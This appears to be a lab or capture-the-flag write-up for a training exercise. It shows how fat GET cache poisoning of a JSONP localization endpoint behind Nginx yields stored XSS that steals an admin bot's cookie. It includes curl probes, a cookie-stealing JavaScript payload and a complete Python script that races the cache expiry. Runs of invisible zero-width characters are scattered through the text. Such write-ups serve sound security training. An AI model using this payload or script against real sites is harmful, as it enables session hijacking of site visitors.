← Back to Writeups
CUSTOMMediumWeb

Lab 183 — ArticleFlow — Stored XSS via Fat GET Cache Poisoning

XESXOR9/10/20265 min read
#web#custom#medium#admin_bot_exploitation#cache_timing_race#fat_get_cache_poisoning#jsonp_callback_injection#same_origin_exfiltration#linux

Lab 183 — ArticleFlow — Stored XSS via Fat GET Cache Poisoning

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-24 | Status: Solved Techniques: admin_bot_exploitation, cache_timing_race, fat_get_cache_poisoning, jsonp_callback_injection, same_origin_exfiltration

Summary

Task: Blogging platform with JSONP localization endpoint behind Nginx cache; Express.js accepts GET body params while Nginx keys cache on URL only. Solution: Fat GET cache poisoning — override callback parameter via request body to inject XSS payload into cached JSONP response, exfiltrate admin cookies via same-origin comments API.

Lab 183 — ArticleFlow — Stored XSS via Fat GET Cache Poisoning — hackadvisor

Description

ArticleFlow is a modern blogging platform by ContentWave Inc. that serves content to readers worldwide. The platform features a blog with articles, comments, localization support for international readers, and an admin panel for content management. The application uses a caching layer to optimize content delivery performance. Every page on the site loads a localization script that detects the visitor's region and sets a locale cookie for content personalization. Your goal is to find a way to execute JavaScript in the context of the admin user and steal their session cookie which contains the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A blogging platform with articles, comments, and localization. Every page loads a JSONP localization script via Nginx cache. The goal is to poison the cache to execute XSS in the admin's browser and steal the flag cookie.

Credentials: user@test.com / password123 Target: https://a1c7ec59-8a46-432b-a055-528de40a8c37.labs.hackadvisor.io/

Analysis

Platform Architecture

  • Backend: Express.js (Node.js) behind Nginx 1.25.5 reverse proxy
  • Caching: Nginx caching layer exposing X-Cache: HIT/MISS and X-Cache-Key headers
  • JSONP endpoint: /js/localize.js?callback=setLocaleCookie — returns setLocaleCookie({region data...});
  • Every page includes <script src="/js/localize.js?callback=setLocaleCookie"></script>
  • Comments API: /api/comments — POST to create (no auth), GET with ?post_id=N to list
  • Admin bot periodically visits the homepage
  • Flag stored in a non-HttpOnly flag cookie on the admin's session
  • Decoy flags in HTML comments (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) — must be ignored ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability: Fat GET Cache Poisoning

The critical vulnerability is a Fat GET attack — a cache poisoning technique exploiting the discrepancy between how the cache layer and the backend process GET request bodies.

Root cause — two misconfigurations working together:

  1. Express.js accepts body parameters on GET requests. When both the query string and body contain callback, Express uses the body value (last wins / body-parser precedence).
  2. Nginx caches responses keyed only on the URL (path + query string). The request body is NOT part of the cache key. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This creates a cache key discrepancy:

LayerWhat it seesResult
Nginx cacheURL query: callback=setLocaleCookieCache key: /js/localize.js?callback=setLocaleCookie
Express backendURL query + body: both callback paramsUses body value: EVIL_PAYLOAD

The attacker sends a GET request with the legitimate callback=setLocaleCookie in the URL (so the cache key looks normal) but includes callback=EVIL_PAYLOAD in the request body. Express generates a response with the evil payload, and Nginx caches it under the legitimate cache key. All subsequent visitors loading the localization script get the poisoned response. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Confirming the Vulnerability

bash
# Normal request — legitimate response
curl -s "https://TARGET/js/localize.js?callback=setLocaleCookie"
# → setLocaleCookie({"country":"US",...});

# Fat GET with body override — wait for cache MISS
curl -sD - -X GET "https://TARGET/js/localize.js?callback=setLocaleCookie" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "callback=alert(1)//"
# → X-Cache: MISS
# → X-Cache-Key: /js/localize.js?callback=setLocaleCookie
# → alert(1)//({"country":"US",...});
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Verify poisoning — normal request now returns poisoned response
curl -s "https://TARGET/js/localize.js?callback=setLocaleCookie"
# → alert(1)//({"country":"US",...});  ← POISONED!

The // at the end comments out the ({...}); suffix to prevent JavaScript syntax errors.

Solution

Step 1: Craft XSS Payload

The payload reads document.cookie (which contains the non-HttpOnly flag cookie on the admin's session) and exfiltrates it via the same-origin /api/comments endpoint — no need for an external server: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

javascript
fetch("/api/comments",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({post_id:1,body:"COOKIE:"+document.cookie,author_name:"exfil"})})//

Step 2: Poison the Cache

The cache has a ~60 second TTL. The poisoning request must land on a cache MISS to succeed. Race the cache expiry by repeatedly sending the Fat GET request:

bash
curl -X GET "https://TARGET/js/localize.js?callback=setLocaleCookie" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'callback=fetch("/api/comments",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({post_id:1,body:"COOKIE:"+document.cookie,author_name:"exfil"})})//'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Full Exploit Script

python
#!/usr/bin/env python3
"""
ArticleFlow — Fat GET Cache Poisoning → Stored XSS → Cookie Exfiltration
HackAdvisor Lab 183
"""
import requests
import time
import urllib.parse

TARGET = "https://a1c7ec59-8a46-432b-a055-528de40a8c37.labs.hackadvisor.io"

# XSS payload: exfiltrate cookies via same-origin comments API
PAYLOAD = (
    'fetch("/api/comments",'
    '{method:"POST",'
    'headers:{"Content-Type":"application/json"},'
    'body:JSON.stringify({post_id:1,'
    'body:"COOKIE:"+document.cookie,'
    'author_name:"exfil"})})//'
)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

LOCALIZE_URL = f"{TARGET}/js/localize.js?callback=setLocaleCookie"

print("[*] Starting Fat GET cache poisoning...")
for i in range(1, 200):
    r = requests.get(
        LOCALIZE_URL,
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        data=f"callback={urllib.parse.quote(PAYLOAD)}",
        timeout=5,
    )
    xcache = r.headers.get("X-Cache", "N/A")

    if xcache == "MISS" and "fetch(" in r.text:
        print(f"[{i}] MISS — poisoned response generated!")
        # Verify cache is poisoned
        time.sleep(0.3)
        check = requests.get(LOCALIZE_URL, timeout=5)
        if "fetch(" in check.text:
            print(f"[*] CACHE POISONED SUCCESSFULLY!")
            print(f"[*] Cached response: {check.text[:120]}...")
            break
        else:
            print(f"    Race lost, retrying...")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    if i % 15 == 0:
        print(f"[{i}] Still HIT, waiting for cache expiry...")
    time.sleep(1)

# Wait for admin bot to visit
print("[*] Waiting 30s for admin bot to visit and trigger XSS...")
time.sleep(30)

# Check for exfiltrated cookies
print("[*] Checking comments for exfiltrated data...")
r = requests.get(f"{TARGET}/api/comments?post_id=1", timeout=5)
for comment in r.json():
    if "COOKIE:" in comment.get("body", ""):
        print(f"[!] EXFILTRATED: {comment['body']}")

Step 4: Retrieve the Flag

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

After the admin bot visits any page, the poisoned JSONP script executes and posts the admin's cookies to the comments API:

bash
curl -s "https://TARGET/api/comments?post_id=1" | python3 -c "
import json, sys
for c in json.load(sys.stdin):
    if 'COOKIE' in c.get('body',''):
        print(c['body'])
"

Output:

COOKIE:locale=US_en; flag=FLAG{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍